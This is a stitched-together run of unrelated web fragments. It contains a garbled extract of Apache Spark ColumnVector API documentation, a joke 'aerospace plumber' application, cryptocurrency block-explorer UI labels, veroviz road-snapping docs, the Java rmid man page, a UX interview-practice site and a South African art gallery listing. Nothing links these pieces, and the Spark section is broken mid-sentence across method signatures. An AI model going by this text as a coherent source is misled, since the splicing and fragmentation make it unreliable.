public byte[] getBytes(int rowId, int count)
public abstract short getShort(int rowId)
public short[] getShorts(int rowId, int count)
public abstract int getInt(int rowId)
public int[] getInts(int rowId, int count)
public abstract long getLong(int rowId)
public long[] getLongs(int rowId, int count)
public abstract float getFloat(int rowId)
public float[] getFloats(int rowId, int count)
public abstract double getDouble(int rowId)
public double[] getDoubles(int rowId, int count)
public final ColumnarRow getStruct(int rowId)
getChild(int)
and make this
vector a tree structure. The number of child vectors must be same as the number of fields of
the struct type, and each child vector is responsible to store the data for its corresponding
struct field.public abstract ColumnarArray getArray(int rowId)
ColumnarArray
and return it in
this method. ColumnarArray
requires a ColumnVector
that stores the data of all
the elements of all the arrays in this vector, and an offset and length which points to a range
in that ColumnVector
, and the range represents the array for rowId. Implementations
are free to decide where to put the data vector and offsets and lengths. For example, we can
use the first child vector as the data vector, and store offsets and lengths in 2 int arrays in
this vector.public abstract ColumnarMap getMap(int ordinal)
ColumnarMap
and return it in
this method. ColumnarMap
requires a ColumnVector
that stores the data of all
the keys of all the maps in this vector, and another ColumnVector
that stores the data
of all the values of all the maps in this vector, and a pair of offset and length which
specify the range of the key/value array that belongs to the map type value at rowId.public abstract Decimal getDecimal(int rowId, int precision, int scale)
public abstract org.apache.spark.unsafe.types.UTF8String getUTF8String(int rowId)
public abstract byte[] getBinary(int rowId)
public final org.apache.spark.unsafe.types.CalendarInterval getInterval(int rowId)
getChild(int)
and define 2
child vectors: the first child vector is an int type vector, containing all the month values of
all the interval values in this vector. The second child vector is a long type vector,
containing all the microsecond values of all the interval values in this vector.


Morpheus Maximus
Contact<EMAIL_ADDRESS>Address: 45789 Lulu Drive, Womp, CB
My name is Morpheus Maximus and I am applying to become a member of Mumbo Jumbo Airlines as an aerospace plumber
Credentials:
- 20 years of experiance as an aerospace plumber.
- Worked 10 years in a chain gang, so I know the value of hardwork.
- Spent time as a acrobat, so I am fearless
target="blank"


Kizunacoin
InfoMessage
Go to top
Close
Select unit on the left
Unit
Received:
Authors
Children
Parents
Messages
Witnesses
Technical information
Fees:
Level:
Witnessed level:
Last ball unit:
Main chain index:
Latest included mc index:
Is stable:
Close
Definition
Unspent
Transactions


veroviz.snapNodesToRoad module¶
-
getSnapLoc
(loc=None, dataProvider=None, dataProviderArgs=None)[source]¶ Snap a given single location, given by [lat, lon] coordinates, to the nearest location on a road network.
- Parameters
loc (list, Required) – Coordinates of a location, expressed as either [lat, lon, alt] or [lat, lon]. Note: This function returns only latitude and longitude; any altitude values provided as inputs will be lost in the return.
dataProvider (string, Conditional, default as None) – Specifies the data source to be used for finding routes or generate nodes on a road network. See Data Providers for options and requirements of options.
dataProviderArgs (dictionary, Conditional, default as None) – For some data provider, veroviz need some extra parameters such as API keys or database name. See Data Providers for the keys required for different data provider.
- Returns
A snapped location in the format of [lat, lon]. Any altitude values provided as inputs in the loc parameter will be lost in the return.
- Return type
list
Note
This function returns only latitude and longitude. Any altitude values provided as inputs in the loc parameter will be lost in the return.
Example
- Import veroviz and check if the version is up-to-date:
>>> import veroviz as vrv >>> vrv.checkVersion()
- Snap a given location to the nearest street:
>>> loc = [42.00, -78.00] >>> snapLoc = vrv.getSnapLoc( ... loc = loc, ... dataProvider = 'OSRM-online') >>> snapLoc [41.999401, -78.003876]
- View the original (red) and snapped (green) locations on a map
>>> myMap = vrv.addLeafletMarker(center=loc, fillColor='red') >>> myMap = vrv.addLeafletMarker(center=snapLoc, fillColor='green', mapObject=myMap) >>> myMap
- NOTE: This function returns only latitude and longitude. Any altitude values provided as inputs in the loc parameter will be lost in the return.
>>> loc3D = [42.00, -78.00, 100] >>> snapLoc = vrv.getSnapLoc( ... loc = loc3D, ... dataProvider = 'OSRM-online') >>> snapLoc [41.999401, -78.003876]
-
getSnapLocBatch
(locs=None, dataProvider=None, dataProviderArgs=None)[source]¶ Snap multiple locations, each given by [lat, lon] coordinates, to their nearest locations on a road network.
- Parameters
locs (list of lists, Required) – A list of GPS coordinates of node locations, in the form of [[lat, lon], [lat, lon], …]
dataProvider (string, Conditional, default as None) – Specifies the data source to be used for finding routes or generate nodes on a road network. See Data Providers for options and requirements of options.
dataProviderArgs (dictionary, Conditional, default as None) – For some data provider, veroviz need some extra parameters such as API keys or database name. See Data Providers for the keys required for different data provider.
- Returns
A list of snapped locations in the format of [[lat, lon], [lat, lon], …]. Note: Any altitude values provided as inputs in the loc parameter will be lost in the return.
- Return type
list of lists
Example
- Import veroviz and check if the version is up-to-date:
>>> import veroviz as vrv >>> vrv.checkVersion()
- Also, import os so we can use environment variables for data provider API keys:
>>> import os
- Snap a given list of location to their nearest streets:
>>> locs = [ ... [42.00, -78.00], ... [42.10, -78.00], ... [42.20, -78.00]] >>> snapLocs = vrv.getSnapLocBatch( ... locs = locs, ... dataProvider = 'MapQuest', ... dataProviderArgs = {'APIkey': os.environ['MAPQUESTKEY']}) >>> snapLocs [[41.999401, -78.003876], [42.100021, -77.995549], [42.1993, -78.001011]]
-
snapNodesToRoad
(nodes=None, dataProvider=None, dataProviderArgs=None)[source]¶ Updates the locations of nodes within a dataframe, such that each node becomes located on a road network.
- Parameters
nodes (Nodes, Required, default as None) – A Nodes dataframe containing an existing set of nodes.
dataProvider (string, Conditional, default as None) – Specifies the data source to be used for generating nodes on a road network. See Data Providers for options and requirements.
dataProviderArgs (dictionary, Conditional, default as None) – For some data providers, additional parameters are required (e.g., API keys or database names). See Data Providers for the additional arguments required for each supported data provider.
- Returns
A copy of the input nodes dataframe, with updated lat/lon values.
- Return type
Nodes dataframe
Example
- Import veroviz and check if the version is up-to-date:
>>> import veroviz as vrv >>> vrv.checkVersion()
- Also, import os so we can use environment variables for data provider API keys:
>>> import os
- Create a Nodes dataframe by
createNodesFromLocs()
with two nodes that are off the road network: >>> exampleNodes = vrv.createNodesFromLocs( ... locs = [[42.80, -78.00], ... [42.81, -78.004]], ... leafletColor = 'red')
- These nodes are not aligned with the road network. The following examples demonstrate how to move the nodes to lat/lon locations that correspond to roads.
>>> # Use OSRM as data provider >>> snappedNodes = vrv.snapNodesToRoad( ... nodes = exampleNodes, ... dataProvider = 'OSRM-online')
- Display the original (red) and OSRM-snapped (green) nodes to see the effects of snapping.
>>> myMap = vrv.createLeaflet(nodes=exampleNodes, mapBackground='Stamen Toner') >>> myMap = vrv.createLeaflet(nodes=snappedNodesOSRM, mapObject=myMap) >>> myMap
- We can also use ORS, MapQuest, or pgRouting as the data source. In these cases, an API key or database name should be provided.
>>> # Use MapQuest as data provider, and change node colors to purple: >>> snappedNodesMQ = vrv.snapNodesToRoad( ... nodes = exampleNodes, ... dataProvider = 'MapQuest', ... dataProviderArgs = { 'APIkey' : os.environ['MAPQUESTKEY']}) >>> snappedNodesMQ['leafletColor'] = 'purple'
>>> # Add the MapQuest-snapped (purple) nodes to our map: >>> myMap = vrv.createLeaflet(nodes=snappedNodesMQ, mapObject=myMap) >>> myMap
>>> # Use ORS as data provider, and change node colors to blue: >>> snappedNodesORS = vrv.snapNodesToRoad( ... nodes = exampleNodes, ... dataProvider = 'ORS-online', ... dataProviderArgs = {'APIkey': os.environ['ORSKEY']}) >>> snappedNodesORS['leafletColor'] = 'blue'
>>> # Add the ORS-snapped (blue) nodes to our map: >>> myMap = vrv.createLeaflet(nodes=snappedNodesORS, mapObject=myMap) >>> myMap
>>> # Use pgRouting as data provider, and change node colors to black: >>> snappedNodesPGR = vrv.snapNodesToRoad( ... nodes = exampleNodes, ... dataProvider = 'pgRouting', ... dataProviderArgs = {'databaseName': 'YOUR_DATABASENAME'}) >>> snappedNodesPGR['leafletColor'] = 'black'
>>> # Add the pgRouting-snapped (black) nodes to our map: >>> myMap = vrv.createLeaflet(nodes=snappedNodesPGR, mapObject=myMap) >>> myMap


rmid(1) rmid(1) Name rmid - The Java RMI Activation System Daemon rmid starts the activation system daemon that allows objects to be regis‐ tered and activated in a virtual machine (VM). SYNOPSIS rmid [options] DESCRIPTION The rmid tool starts the activation system daemon. The activation system daemon must be started before activatable objects can be either regis‐ tered with the activation system or activated in a VM. See the Java RMI Specification @ http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmiTOC.html and Activation tutorials @ http://docs.oracle.com/javase/7/docs/technotes/guides/rmi/activa‐ tion/overview.html for details on how to write programs that use activat‐ able remote objects. The daemon can be started by executing the rmid command, and specifying a security policy file, as follows: rmid -J-Djava.security.policy=rmid.policy Note: When running Sun's implementation of rmid, by default you will need to specify a security policy file so that rmid can verify whether or not the information in each ActivationGroupDesc is allowed to be used to launch a VM for an activation group. Specifically, the command and options specified by the CommandEnvironment and any Properties passed to an ActivationGroupDesc's constructor must now be explicitly allowed in the security policy file for rmid. The value of the sun.rmi.activa‐ tion.execPolicy property dictates the policy that rmid uses to determine whether or not the information in an ActivationGroupDesc may be used to launch a VM for an activation group. Executing rmid by default o starts the Activator and an internal registry on the default port, 1098, and o binds an ActivationSystem to the name java.rmi.activation.Activa‐ tionSystem in this internal registry. To specify an alternate port for the registry, you must specify the -port option when starting up rmid. For example, rmid -J-Djava.security.policy=rmid.policy -port 1099 starts the activation system daemon and a registry on the registry's default port, 1099. Starting rmid from inetd/xinetd An alternative to starting rmid from the command line is to configure inetd (Solaris) or xinetd (Linux) to start rmid on demand. When rmid starts up, it attempts to obtain an inherited channel (inher‐ ited from inetd/xinetd) by invoking the System.inheritedChannel method. If the inherited channel is null or not an instance of java.nio.chan‐ nels.ServerSocketChannel, then rmid assumes that it was not started by inetd/xinetd, and it starts up as described above. If the inherited channel is a ServerSocketChannel instance, then rmid uses the java.net.ServerSocket obtained from the ServerSocketChannel as the server socket that accepts requests for the remote objects it exports, namely the registry in which the java.rmi.activation.Activation‐ System is bound and the java.rmi.activation.Activator remote object. In this mode, rmid behaves the same as when it is started from the command line, except: o Output printed to System.err is redirected to a file. This file is located in the directory specified by the java.io.tmpdir system property (typically /var/tmp or /tmp) with the prefix "rmid-err" and the suffix "tmp". o The -port option is disallowed. If this option is specified, rmid will exit with an error message. o The -log option is required. If this option is not specified, rmid will exit with an error message. See the man pages for inetd (Solaris) or xinetd (Linux) for details on how to configure services to be started on demand. OPTIONS -C<someCommandLineOption> Specifies an option that is passed as a command-line argument to each child process (activation group) of rmid when that process is created. For example, you could pass a property to each virtual machine spawned by the activation system daemon: rmid -C-Dsome.property=value This ability to pass command-line arguments to child processes can be useful for debugging. For example, the following command: rmid -C-Djava.rmi.server.logCalls=true will enable server-call logging in all child VMs. -J<someCommandLineOption> Specifies an option that is passed to the java interpreter running rmid. For example, to specify that rmid use a policy file named rmid.policy, the -J option can be used to define the java.secu‐ rity.policy property on rmid's command line, for example: rmid -J-Djava.security.policy=rmid.policy -J-Dsun.rmi.activation.execPolicy=<policy> Specifies the policy that rmid employs to check commands and com‐ mand-line options used to launch the VM in which an activation group runs. Please note that this option exists only in Sun's implementation of the Java RMI activation daemon. If this property is not specified on the command line, the result is the same as if -J-Dsun.rmi.activation.execPolicy=default were specified. The pos‐ sible values of <policy> can be default, <policyClassName>, or none: o default (or if this property is unspecified) The default execPolicy allows rmid to execute commands with spe‐ cific command-line options only if rmid has been granted permission to execute those commands and options in the security policy file that rmid uses. Only the default activation group implementation can be used with the default execution policy. rmid launches a VM for an activation group using the information in the group's registered activation group descriptor, an Activation‐ GroupDesc. The group descriptor specifies an optional Activation‐ GroupDesc.CommandEnvironment which includes the command to execute to start the activation group as well as any command line options to be added to the command line. By default, rmid uses the java command found in java.home. The group descriptor also contains properties overrides that are added to the command line as options defined as: -D<property>=<value> The permission com.sun.rmi.rmid.ExecPermission is used to grant rmid permission to execute a command, specified in the group descriptor's CommandEnvironment to launch an activation group. The permission com.sun.rmi.rmid.ExecOptionPermission is used to allow rmid to use command-line options, specified as properties overrides in the group descriptor or as options in the CommandEnvironment, when launching the activation group. When granting rmid permission to execute various commands and options, the permissions ExecPermission and ExecOptionPermission need to be granted universally (i.e., granted to all code sources). ExecPermission The ExecPermission class represents permission for rmid to execute a specific command to launch an activation group. Syntax The name of an ExecPermission is the path name of a command to grant rmid permission to execute. A path name that ends in "/*" indicates all the files contained in that directory (where "/" is the file-separator character, File.separatorChar). A path name that ends with "/-" indicates all files and subdirectories contained in that directory (recursively). A path name consist‐ ing of the special token "<<ALL FILES>>" matches any file. Note: A path name consisting of a single "*" indicates all the files in the current directory, while a path name consisting of a single "-" indicates all the files in the current directory and (recursively) all files and subdirectories contained in the current directory. ExecOptionPermission The ExecOptionPermission class represents permission for rmid to use a specific command-line option when launching an acti‐ vation group. The name of an ExecOptionPermission is the value of a command line option. Syntax Options support a limited wildcard scheme. An asterisk signifies a wildcard match, and it may appear as the option name itself (i.e., it matches any option), or an asterisk may appear at the end of the option name only if the asterisk follows either a "." or "=". For example: "*" or "-Dfoo.*" or "-Da.b.c=*" is valid, "*foo" or "-Da*b" or "ab*" is not. Policy file for rmid When granting rmid permission to execute various commands and options, the permissions ExecPermission and ExecOptionPermis‐ sion need to be granted universally (i.e., granted to all code sources). It is safe to grant these permissions univer‐ sally because only rmid checks these permissions. An example policy file that grants various execute permissions to rmid is: grant { permission com.sun.rmi.rmid.ExecPermission "/files/apps/java/jdk1.7.0/solaris/bin/java"; permission com.sun.rmi.rmid.ExecPermission "/files/apps/rmidcmds/*"; permission com.sun.rmi.rmid.ExecOptionPermission "-Djava.security.policy=/files/policies/group.policy"; permission com.sun.rmi.rmid.ExecOptionPermission "-Djava.security.debug=*"; permission com.sun.rmi.rmid.ExecOptionPermission "-Dsun.rmi.*"; }; The first permission granted allow rmid to execute the 1.7.0 version of the java command, specified by its explicit path name. Note that by default, the version of the java command found in java.home is used (the same one that rmid uses), and does not need to be specified in the policy file. The second permission allows rmid to execute any command in the directory /files/apps/rmidcmds. The third permission granted, an ExecOptionPermission, allows rmid to launch an activation group that defines the security policy file to be /files/policies/group.policy. The next permis‐ sion allows the java.security.debug property to be used by an activation group. The last permission allows any property in the sun.rmi property name hierarchy to be used by activation groups. To start rmid with a policy file, the java.security.policy prop‐ erty needs to be specified on rmid's command line, for example: rmid -J-Djava.security.policy=rmid.policy o <policyClassName> If the default behavior is not flexible enough, an administrator can provide, when starting rmid, the name of a class whose checkEx‐ ecCommand method is executed in order to check commands to be exe‐ cuted by rmid. The policyClassName specifies a public class with a public, no-argument constructor and an implementation of the following checkExecCommand method: public void checkExecCommand(ActivationGroupDesc desc, String[] command) throws SecurityException; Before launching an activation group, rmid calls the policy's checkExecCommand method, passing it the activation group descriptor and an array containing the complete command to launch the activa‐ tion group. If the checkExecCommand throws a SecurityException, rmid will not launch the activation group and an ActivationExcep‐ tion will be thrown to the caller attempting to activate the object. o none If the sun.rmi.activation.execPolicy property value is "none", then rmid will not perform any validation of commands to launch activa‐ tion groups. -log dir Specifies the name of the directory the activation system daemon uses to write its database and associated information. The log directory defaults to creating a directory, log, in the directory in which the rmid command was executed. -port port Specifies the port rmid's registry uses. The activation system dae‐ mon binds the ActivationSystem, with the name java.rmi.activa‐ tion.ActivationSystem, in this registry. Thus, the ActivationSystem on the local machine can be obtained using the following Nam‐ ing.lookup method call: import java.rmi.*; import java.rmi.activation.*; ActivationSystem system; system = (ActivationSystem) Naming.lookup("//:port/java.rmi.activation.ActivationSystem"); -stop Stops the current invocation of rmid, for a port specified by the -port option. If no port is specified, it will stop the rmid run‐ ning on port 1098. ENVIRONMENT VARIABLES CLASSPATH Used to provide the system a path to user-defined classes. Directo‐ ries are separated by colons. For example: .:/usr/local/java/classes SEE ALSO rmic(1), CLASSPATH @ http://docs.oracle.com/javase/7/docs/technotes/tools/index.html#class‐ path, java(1) 16 Mar 2012 rmid(1)


I am going to ask you a series of UX-related interview questions. This will take approximately 30 minutes.
What is the most interesting project you have worked on?
How do you form positive relationships with developers and/or stakeholders?
How do you deal with difficult team members?
How do you define user experience design?
Can you take me through how you used the design process in a project?
Tell me about an assignment that was too difficult. How did you handle the situation?
How will you communicate your design decisions to developers, stakeholders, and project managers?
How do you prioritize which product features to keep or discard?
What are some apps or websites that you love?
Why do you want to work at [company x]?
How would you balance the requirements between the user goals and business goals?
Can you walk me through one of your projects?
Tell me about a project that you’ve worked on that didn’t go as well as you’d hoped.
Can you describe a time when the requirements changed in the middle of a project, and how you handled that?
Have you given feedback on someone else’s designs before? What about receiving feedback?
How did you become a UX designer? How did you get into design?
What role do you think user research plays in companies / businesses?
What tools have you used to build prototypes? Do you have a favorite?
That's all the questions we have for you. Do you have any questions for us?
how to use this site
Find a mirror to practice in front of.
Put laptop between yourself and the mirror so that you can read the questions on the screen but still see yourself in the mirror.
Practice!
Note: Each "interview session" will ask you 10 random questions.
tips
Try to keep your answers under one minute and 30 seconds (use the timer!) for general questions. For questions involving specific design projects you did, the responses can be longer.
Use the STAR method when answering behavioral questions. This site provides a good overview of the type of questions and how to answer them.
Note your body language and eye contact during your practice session.
about
This website was created as part of the Programming Usable Interfaces course (Fall 2016) as a final project. I conceived the idea for a behavioral interview website when I was undergoing co-op interviews back in undergrad and found a lack of resources for "live" practice. Specifically, I wanted an application that was designed to be used in conjunction with a mirror to mimic live practice without the need of finding an actual partner to conduct a mock interview. This would be beneficial for people who cannot find mock interview partners or for those who are first starting out and are uncomfortable with practicing in front of another person. I took my idea and adapted it to have design specific questions for this project. I hope you find this useful. -- Adena


Glenwood Art Gallery, Durban - 27 July 2017
Glenwood Art Gallery, Durban - 27 July 2017
Wits Art Museum, Johannesburg - 28 July 2017
The Cape Gallery, Cape Town - 29 July 2017
We are dedicated to delivering the best quality art exhibitions in South Africa that we can offer. We have been running exhibitions for 2 years now and have proudly made a name for ourselves here.
Contact us to organise an exhibition.